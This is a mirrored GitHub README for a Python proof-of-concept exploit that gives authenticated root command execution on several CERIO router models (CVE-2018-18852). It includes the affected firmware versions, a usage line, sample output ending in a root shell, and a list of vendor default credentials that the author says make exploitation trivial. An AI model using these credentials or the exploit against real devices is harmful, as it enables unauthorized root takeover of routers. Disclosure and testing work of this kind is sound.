python>> CVE-2018-18852>> 返回
项目作者： hook-s3c

项目描述 ：
CERIO RCE CVE-2018-18852, authenticated (vendor defaults) web-based RCE as root user.
高级语言： Python
项目地址: git://github.com/hook-s3c/CVE-2018-18852.git
创建时间： 2019-01-26T03:41:24Z
项目社区：https://github.com/hook-s3c/CVE-2018-18852
开源协议：GNU General Public License v3.0
下载


CERIO router Authenticated RCE (backdoor vendor creds) CVE-2018-18852 Python PoC

hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

Working Python PoC for CVE-2018-18852, originally appearing on;
https://github.com/hook-s3c/CVE-2018-18852

What’s up

CERIO Router models and variants of, DT300N, DT100G, AMR-3204, WMR-200N are
vulnerable to an authenticated web-based RCE as root user.

Exists as an 0day undisclosed advisory;
https://www.fortiguard.com/zeroday/FG-VD-18-149

Vendor default credentials are usually present, so execution is trivial.

Architecture is MIPS.

Usage and example

  1. Usage: exploit.py <ipaddress> <port> <creds>
  2. $ python ./exploit.py 127.0.0.1 8080 admin:admin
  4. [*] ================================================
  5. [*] CERIO RCE CVE-2018-18852, confirmed on;
  6. [*] - CERIO DT-300N-NGS-M - fw: Pme-CPE-AP12X V1.0.3
  7. [*] - CERIO DT-300N       - fw: Cen-CPE-N2H10A V1.0.14, Cen-CPE-N2H10A V1.1.6, Cen-CPE-N2H10A V1.1.7
  8. [*] - CERIO DT-100G-N     - fw: Cen-AP-N2H10A V1.0.8
  9. [*] - CERIO DT-100G       - fw: Cen-WR-G2H5 V1.0.7
  10. [*] - CERIO DT-100GX-N    - fw: Cen-AP-N2H8A V1.0.18
  11. [*] - CERIO AMR-3204G     - fw: Cen-AC V2.0.19
  12. [*] - CERIO WMR-200N      - fw: Cen-HS-N2H1 V1.0.6c Test
  13. [*]
  14. [/] by hook (@hook_s3c) https://github.com/hook-s3c/CVE-2018-18852
  15. [/] Greetz to vap0rsquad, ThugCrowd, $noHat$, r0bl0xgang, Udderly Amoosing, illmob, 
  16. [/] The Many Hats Club, Cyber.Phunk, WAC, SHAM, 0x00sec, John McAfee
  17. [/] Go cop YTCracker's Introducing Neals, gov overreach is no joke - wake the fuck up
  18. [*] ================================================
  20. root@cerio:~# id
  21. [!] This may not be the right model (DT-300N-NGS-M), trying again
  22. [+] Sucessfully grabbed pid token: 1312
  25. uid=0(root) gid=0(root)
  27. root@cerio:~#

Default cred combos;

  • operator:1234
  • admin:admin
  • root:default

Greetz

Shoutout to vap0rsquad, ThugCrowd, $noHat$, r0bl0xgang, Udderly Amoosing, illmob, The Many Hats Club, Cyber.Phunk, WAC, SHAM, 0x00sec, John McAfee
Go cop YTCracker’s Introducing Neals, gov overreach is no joke - wake the fuck up

HTP!!!! YEET